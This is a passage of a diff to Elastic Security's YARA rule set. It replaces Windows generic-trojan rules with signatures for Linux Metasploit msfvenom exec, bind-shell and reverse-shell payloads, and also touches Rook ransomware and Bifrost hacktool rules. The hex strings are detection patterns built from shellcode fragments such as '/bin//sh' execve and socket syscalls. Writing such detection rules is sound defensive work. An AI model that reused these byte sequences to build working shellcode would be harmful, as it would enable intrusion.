+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1a2c40531584ed485f3ff532f4269241a76ff171956d03e4f0d3f9c950f186d4"
+		logic_hash = "fc32aa29f58478f0b7f4f5be61aadec65842c05b7d8ded840530503eae28b8eb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fb25a522888efa729ee6d43a3eec7ade3d08dba394f3592d1c3382a5f7a813c8"
+		fingerprint = "a3b592cc6d9b00f76a1084c7c124cc199149ada5b8dc206cff3133718f045c9d"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 24 3C 8B C2 2B C1 83 F8 01 72 3A 8D 41 01 83 FA 08 89 44 24 38 8D 44 }
+		$str1 = { 31 C9 89 CB 6A 46 58 CD 80 6A 05 58 31 C9 51 68 73 73 77 64 68 2F 2F 70 61 68 2F 65 74 63 89 E3 41 B5 04 CD 80 93 }
+		$str2 = { 59 8B 51 FC 6A 04 58 CD 80 6A 01 58 CD 80 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Generic_4Fbff084 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_47F4B334 : FILE MEMORY
 {
 	meta:
-		description = "Shellcode found in REF2924, belonging to for now unknown trojan"
+		description = "Detects x86 msfvenom exec payloads"
 		author = "Elastic Security"
-		id = "4fbff084-5280-4ff8-9c21-c437207231a5"
-		date = "2023-02-28"
-		modified = "2023-04-23"
+		id = "47f4b334-619b-4b9c-841d-b00c09dd98e5"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L154-L175"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7010a69ba77e65e70f4f3f4a10af804e6932c2218ff4abd5f81240026822b401"
-		logic_hash = "47d1a01e0edee3239d99ff1f32eb4cfc77d6e38823fed799a562e142d3d3a22d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L253-L277"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c3821f63a7ec8861a6168b4bb494bf8cbac436b3abf5eaffbc6907fd68ebedb8"
+		logic_hash = "34c8182d3b5ecbebd122d2d58fc0502a6bbca020b528ffdcc9ee988f21512d99"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "728d7877e7a16fbb756b1c3b6c90ff3b718f0f750803b6a1549cb32c69be0dfc"
-		threat_name = "Windows.Trojan.Generic"
+		fingerprint = "955d65f1097ec9183db8bd3da43090f579a27461ba345bb74f62426734731184"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$string_decryption = { 8A 44 30 ?? 8A CD 88 45 ?? 32 C5 C0 C1 ?? 88 04 3E 0F B6 C5 0F B6 D9 0F AF D8 0F B6 C1 0F B6 D1 88 6D ?? 0F AF D0 0F B6 C5 0F B6 CD 0F AF C8 8A 6D ?? 8A 45 ?? C0 CB ?? 02 D1 32 DA 02 EB 88 6D ?? 38 45 ?? 74 ?? 8B 45 ?? 46 81 FE ?? ?? ?? ?? 7C ?? }
-		$thread_start = { E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? BB ?? ?? ?? ?? 50 6A ?? 5A 8B CF 89 5C 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 89 5C 24 ?? 50 6A ?? 5A 8B CF E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 89 5C 24 ?? 50 6A ?? 5A 8B CF E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 89 5C 24 ?? 50 6A ?? 5A 8B CF E8 ?? ?? ?? ?? }
-		$resolve = { 8B 7A ?? 8D 5D ?? 85 FF 74 ?? 0F B7 0F 8D 7F ?? 8D 41 ?? 83 F8 ?? 77 ?? 83 C1 ?? 0F B7 33 83 C3 ?? 8D 46 ?? 83 F8 ?? 77 ?? 83 C6 ?? 85 C9 }
+		$payload1 = { 31 C9 F7 E1 B0 0B [0-1] 68 2F ?? ?? ?? 68 2F 62 69 6E 89 E3 CD 80 }
+		$payload2a = { 31 DB F7 E3 B0 0B 52 }
+		$payload2b = { 88 14 1E 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 56 57 53 89 E1 CD 80 }
+		$payload3a = { 6A 0B 58 99 52 }
+		$payload3b = { 89 E7 68 2F 73 68 00 68 2F 62 69 6E 89 E3 52 E8 }
+		$payload3c = { 57 53 89 E1 CD 80 }
 
 	condition:
-		2 of them
+		$payload1 or ( all of ($payload2*)) or ( all of ($payload3*))
 }
-rule ELASTIC_Windows_Trojan_Generic_73Ed7375 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_0B014E0E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x64 msfvenom exec payloads"
 		author = "Elastic Security"
-		id = "73ed7375-c8ab-4d95-ae66-62b1b02a3d1e"
-		date = "2023-05-09"
-		modified = "2023-06-13"
+		id = "0b014e0e-3f5a-4dcc-8860-eb101281b8a5"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L177-L196"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2b17328a3ef0e389419c9c86f81db4118cf79640799e5c6fdc97de0fc65ad556"
-		logic_hash = "7e27c9377d0b2058a2a36da4ac7d37a54c566f3246e69aa356171edae6b478c5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L279-L303"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a24443331508cc72b3391353f91cd009cafcc223ac5939eab12faf57447e3162"
+		logic_hash = "cb19a0461d5fe6066d1fed4898ea12a9818be69d870e511559b19d5c7c959819"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a026cc2db3bfebca4b4ea6e9dc41c2b18d0db730754ef3131d812d7ef9cd17d6"
+		fingerprint = "7a61a0e169bf6aa8760b42c5b260dee453ea6a85fe9e5da46fb7598994904747"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 48 8B 03 48 8B CE 49 8D 54 04 02 41 FF D6 48 89 03 48 83 C3 08 48 }
-		$a2 = { 41 3C 42 8B BC 08 88 00 00 00 46 8B 54 0F 20 42 8B 5C 0F 24 4D }
+		$payload1 = { 48 B8 2F [0-1] 62 69 6E 2F 73 68 ?? ?? 50 54 5F 52 5E 6A 3B 58 0F 05 }
+		$payload2a = { 48 B8 2F 2F 62 69 6E 2F 73 68 99 EB ?? 5D 52 5B }
+		$payload2b = { 54 5E 52 50 54 5F 52 55 56 57 54 5E 6A 3B 58 0F 05 }
+		$payload3a = { 48 B8 2F 62 69 6E 2F 73 68 00 99 50 54 5F 52 }
+		$payload3b = { 54 5E 52 E8 }
+		$payload3c = { 56 57 54 5E 6A 3B 58 0F 05 }
 
 	condition:
-		all of them
+		$payload1 or ( all of ($payload2*)) or ( all of ($payload3*))
 }
-rule ELASTIC_Windows_Trojan_Generic_96Cdf3C4 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_Ccc99Be1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x64 msfvenom pingback bind shell payloads"
 		author = "Elastic Security"
-		id = "96cdf3c4-6f40-4eb3-8bfd-b3c41422388a"
-		date = "2023-05-09"
-		modified = "2023-06-13"
+		id = "ccc99be1-6ea9-4090-acba-3bbe82b127c1"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L198-L217"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9a4d68de36f1706a3083de7eb41f839d8c7a4b8b585cc767353df12866a48c81"
-		logic_hash = "f92e5549aca320d71e1eec8daa82e8bbf3517c7f23f376bb355fdfa32da2e7a9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L305-L327"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0e9f52d7aa6bff33bfbdba6513d402db3913d4036a5e1c1c83f4ccd5cc8107c8"
+		logic_hash = "96af2123251587ece32e424202ff61cfa70faf2916cacddf5fcd9d81bf483032"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1037576e2c819031d5dc8067650c6b869e4d352ab7553fb5676a358059b37943"
+		fingerprint = "88e30402974b853e5f83a3033129d99e7dd1f6b31b5855b1602ef2659a0f7f56"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 74 24 28 48 8B 46 10 48 8B 4E 18 E8 9A CA F8 FF 84 C0 74 27 48 8B 54 }
-		$a2 = { F2 74 28 48 89 54 24 18 48 89 D9 48 89 D3 E8 55 40 FF FF 84 C0 }
+		$str1 = { 56 50 6A 29 58 99 6A 02 5F 6A 01 5E 0F 05 48 85 C0 }
+		$str2 = { 51 48 89 E6 54 5E 6A 31 58 6A 10 5A 0F 05 6A 32 58 6A 01 5E 0F 05 }
+		$str3 = { 6A 2B 58 99 52 52 54 5E 6A 1C 48 8D 14 24 0F 05 48 97 }
+		$str4 = { 5E 48 31 C0 48 FF C0 0F 05 6A 3C 58 6A 01 5F 0F 05 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Generic_F0C79978 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_Ed4B2C85 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x64 msfvenom bind TCP random port payloads"
 		author = "Elastic Security"
-		id = "f0c79978-2df9-4ae2-bc5d-b5366acff41b"
-		date = "2023-07-27"
-		modified = "2023-09-20"
+		id = "ed4b2c85-730f-4a77-97ed-5439a0493a4a"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L219-L238"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8f800b35bfbc8474f64b76199b846fe56b24a3ffd8c7529b92ff98a450d3bd38"
-		logic_hash = "b16971ed0947660dda8d79c11531a9498a80e00f2dbc2c0eb63895b7f5c5f980"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L329-L348"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0709a60149ca110f6e016a257f9ac35c6f64f50cfbd71075c4ca8bfe843c3211"
+		logic_hash = "79e466b2f40a6769db498cc28cb22ba72ec20f92c8450d6f1f8301d00012f967"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "94b2a5784ae843b831f9ce34e986b2687ded5c754edf44ff20490b851e0261fc"
+		fingerprint = "c38513fa6b1ed23ec91ae316af9793c5c01ac94b43ba5502f9c32a0854aec96f"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "\\IronPython."
-		$a2 = "\\helpers\\execassembly_x64"
+		$str = { 6A 29 58 99 6A 01 5E 6A 02 5F 0F 05 97 B0 32 0F 05 96 B0 2B 0F 05 97 96 FF CE 6A 21 58 0F 05 75 ?? 52 48 BF 2F 2F 62 69 6E 2F 73 68 57 54 5F B0 3B 0F 05 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Generic_40899C85 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_2B0Ad6F0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x64 msfvenom find TCP port payloads"
 		author = "Elastic Security"
-		id = "40899c85-bb49-412c-8081-3a1359957c52"
-		date = "2023-12-15"
-		modified = "2024-01-12"
+		id = "2b0ad6f0-44d2-4e7e-8cca-2b0ae1b88d48"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L240-L260"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "88eb4f2e7085947bfbd03c69573fdca0de4a74bab844f09ecfcf88e358af20cc"
-		logic_hash = "317034add0343baa26548712de8b2acc04946385fbee048cea0bd8d7ae642b36"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L350-L371"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "aa2bce61511c72ac03562b5178aad57bce8b46916160689ed07693790cbfbeec"
+		logic_hash = "91b4547e44c40cafe09dd415f0b5dfe5980fcb10d50aeae844cf21e7608d9a9d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d02a17a3b9efc2fd991320a5db7ab2384f573002157cddcd12becf137e893bd8"
+		fingerprint = "b15da42f957107d54bfad78eff3a703cc2a54afcef8207d42292f2520690d585"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "_sqlDataTypeSize"
-		$a2 = "ChromeGetName"
-		$a3 = "get_os_crypt"
+		$str1 = { 48 31 FF 48 31 DB B3 18 48 29 DC 48 8D 14 24 48 C7 02 10 00 00 00 48 8D 74 24 08 6A 34 58 0F 05 48 FF C7 }
+		$str2 = { 48 FF CF 6A 02 5E 6A 21 58 0F 05 48 FF CE 79 }
+		$str3 = { 48 89 F3 BB 41 2F 73 68 B8 2F 62 69 6E 48 C1 EB 08 48 C1 E3 20 48 09 D8 50 48 89 E7 48 31 F6 48 89 F2 6A 3B 58 0F 05 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Generic_9997489C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_Bf205D5A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x86 msfvenom bind IPv6 TCP shell payloads "
 		author = "Elastic Security"
-		id = "9997489c-4e22-4df1-90cb-dd098ca26505"
-		date = "2024-01-31"
-		modified = "2024-02-08"
+		id = "bf205d5a-2bba-497a-8d40-58422e91fe45"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L262-L290"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "857bbf64ced06f76eb50afbfbb699c62e11625196213c2e5267b828cca911b74"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L373-L397"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2162a89f70edd7a7f93f8972c6a13782fb466cdada41f255f0511730ec20d037"
+		logic_hash = "9f4c84fadc3d7555c80efc9c9c5dcb01d4ea65d2ff191aa63ae8316f763ded3f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4c872be4e5eaf46c92e6f7d62ed0801992c36fee04ada1a1a3039890e2893d8c"
+		fingerprint = "91ac22c6302de26717f0666c59fa3765144df2d22d0c3a311a106bc1d9d2ae70"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$ldrload_dll = { 43 6A 45 9E }
-		$loadlibraryw = { F1 2F 07 B7 }
-		$ntallocatevirtualmemory = { EC B8 83 F7 }
-		$ntcreatethreadex = { B0 CF 18 AF }
-		$ntqueryinformationprocess = { C2 5D DC 8C }
-		$ntprotectvirtualmemory = { 88 28 E9 50 }
-		$ntreadvirtualmemory = { 03 81 28 A3 }
-		$ntwritevirtualmemory = { 92 01 17 C3 }
-		$rtladdvectoredexceptionhandler = { 89 6C F0 2D }
-		$rtlallocateheap = { 5A 4C E9 3B }
-		$rtlqueueworkitem = { 8E 02 92 AE }
-		$virtualprotect = { 0D 50 57 E8 }
+		$str1 = { 6A 7D 58 99 B2 07 B9 00 10 00 00 89 E3 66 81 E3 00 F0 CD 80 31 DB F7 E3 53 43 53 6A ?? 89 E1 B0 66 CD 80 }
+		$str2 = { 51 6A 04 54 6A 02 6A 01 50 }
+		$str3 = { 6A 0E 5B 6A 66 58 CD 80 89 F8 83 C4 14 59 5B 5E }
+		$str4 = { CD 80 93 B6 0C B0 03 CD 80 87 DF 5B B0 06 CD 80 }
+		$ipv6 = { 6A 02 5B 52 52 52 52 52 52 ?? ?? ?? ?? ?? 89 E1 6A 1C }
+		$socket = { 51 50 89 E1 6A 66 58 CD 80 D1 E3 B0 66 CD 80 57 43 B0 66 89 51 04 CD 80 }
 
 	condition:
-		4 of them
+		3 of ($str*) and $ipv6 and $socket
 }
-rule ELASTIC_Windows_Trojan_Generic_2993E5A5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_E5B61173 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x86 msfvenom stageless TCP reverse shell payload"
 		author = "Elastic Security"
-		id = "2993e5a5-26b2-4cfd-8130-4779abcfecb2"
-		date = "2024-03-18"
-		modified = "2024-03-18"
+		id = "e5b61173-cf1c-4176-bc43-550c0213ce98"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L292-L310"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9f9b926cef69e879462d9fa914dda8c60a01f3d409b55afb68c3fb94bf1a339b"
-		logic_hash = "37a10597d1afeb9411f6c652537186628291cbe6af680abe12bb96591add7e78"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L399-L420"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8032a7a320102c8e038db16d51b8615ee49f04dab1444326463f75ce0c5947a5"
+		logic_hash = "f60d2de0b7fac06b62616d7c7f51e9374df3895eb30a07040e742cbcb462a418"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "709015984e3c9abaf141b76bf574921466493475182ca30a56dbc3671030b632"
+		fingerprint = "7052cce595dbbf36aed5e1edab12a75f06059e6267c859516011d8feb9e328e6"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89 }
+		$str1 = { 31 DB F7 E3 53 43 53 6A 02 89 E1 B0 66 CD 80 93 59 B0 3F CD 80 49 79 }
+		$str2 = { 89 E1 B0 66 50 51 53 B3 03 89 E1 CD 80 52 }
+		$str3 = { 89 E3 52 53 89 E1 B0 0B CD 80 }
 
 	condition:
-		1 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Generic_0E135D58 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_Dd5Fd075 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x86 msfvenom TCP bind shell payloads"
 		author = "Elastic Security"
-		id = "0e135d58-efd9-4d5e-95d8-ddd597f8e6a8"
-		date = "2024-03-19"
-		modified = "2024-03-19"
+		id = "dd5fd075-bd52-47a9-b737-e55ab10a071d"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L312-L330"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c"
-		logic_hash = "bc10218b1d761f72836bb5f9bb41d3f0fe13c4baa1109025269f938ec642aec4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L422-L443"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b47132a92b66c32c88f39fe36d0287c6b864043273939116225235d4c5b4043a"
+		logic_hash = "f5101d5ddb1a84127e755677da70d9154849c546ac6ef0e7ef2639c82911eb92"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e1a9e0c4e5531ae4dd2962285789c3bb8bb2621aa20437384fc3abcc349718c6"
+		fingerprint = "df2a4f90ec3227555671136c18931118fc9df32340d87aeb3f3fa7fdf2ba6179"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B }
+		$str1 = { 31 DB F7 E3 53 43 53 6A 02 89 E1 B0 66 CD 80 5B 5E 52 }
+		$str2 = { 6A 10 51 50 89 E1 6A 66 58 CD 80 89 41 04 B3 04 B0 66 CD 80 43 B0 66 CD 80 93 59 }
+		$str3 = { 6A 3F 58 CD 80 49 79 F8 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 53 89 E1 B0 0B CD 80 }
 
 	condition:
-		1 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Bumblebee_35F50Bea : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Rook_Ee21Fa67 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bumblebee (Windows.Trojan.Bumblebee)"
+		description = "Detects Windows Ransomware Rook (Windows.Ransomware.Rook)"
 		author = "Elastic Security"
-		id = "35f50bea-c497-4cc6-b915-8ad3aca7bee6"
-		date = "2022-04-28"
-		modified = "2022-06-09"
+		id = "ee21fa67-bd82-40fb-9c6d-bab5abfe14b3"
+		date = "2022-01-14"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bumblebee.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9fff05a5aa9cbbf7d37bc302d8411cbd63fb3a28dc6f5163798ae899b9edcda6"
-		logic_hash = "9f22b1b7f9e2d7858738d02730ef5477f8d430ad3606ebf4ac8b01314fdc9c46"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Rook.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c2d46d256b8f9490c9599eea11ecef19fde7d4fdd2dea93604cee3cea8e172ac"
+		logic_hash = "6fe19cfc572a3dceba5e26615d111a3c0fa1036e275a5640a5c5a8f8cdaf6dc1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f2e07a9b7d143ca13852f723e7d0bd55365d6f8b5d9315b7e24b7f1101010820"
+		fingerprint = "8ef731590e73f79a13d04db39e58b03d0a29fd8e46a0584b0fcaf57ac0efe473"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -86102,64 +89946,65 @@ rule ELASTIC_Windows_Trojan_Bumblebee_35F50Bea : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 43 28 45 33 D2 4D 8D 0C 00 44 88 54 24 20 66 48 0F 7E C9 66 0F }
-		$a2 = { 31 DA 48 31 C7 45 ?? C9 B9 E8 03 C7 45 ?? 00 00 BA 01 C7 45 ?? 00 00 00 48 C7 45 ?? B8 88 77 66 C7 45 ?? 55 44 33 22 C7 45 ?? 11 FF D0 EB C6 45 }
+		$a = { 01 75 09 8B C3 FF C3 48 89 74 C5 F0 48 FF C7 48 83 FF 1A 7C DB }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Bumblebee_70Bed4F3 : FILE MEMORY
+rule ELASTIC_Macos_Hacktool_Bifrost_39Bcbdf8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bumblebee (Windows.Trojan.Bumblebee)"
+		description = "Detects Macos Hacktool Bifrost (MacOS.Hacktool.Bifrost)"
 		author = "Elastic Security"
-		id = "70bed4f3-f515-4186-ac6c-e9db72b8a95a"
-		date = "2022-04-28"
-		modified = "2022-06-09"
+		id = "39bcbdf8-86dc-480e-8822-dc9832bb9b55"
+		date = "2021-10-12"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bumblebee.yar#L22-L46"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9fff05a5aa9cbbf7d37bc302d8411cbd63fb3a28dc6f5163798ae899b9edcda6"
-		logic_hash = "3ff97986bfd8df812c4ef94395b3ac7f9ead4d059c398f8984ee217a1bcee4af"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Hacktool_Bifrost.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e2b64df0add316240b010db7d34d83fc9ac7001233259193e5a72b6e04aece46"
+		logic_hash = "a2ff4f1aca51e80f2b277e9171e99a80a75177d1d17d487de2eb8872832cb0d5"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE, MEMORY"
-		fingerprint = "016477598ce022cc75f591d1c72535a3353ecc4e888642e72aa29476464a8c2f"
+		fingerprint = "e11f6f3a847817644d40fee863e168cd2a18e8e0452482c1e652c11fe8dd769e"
 		severity = 100
 		arch_context = "x86"
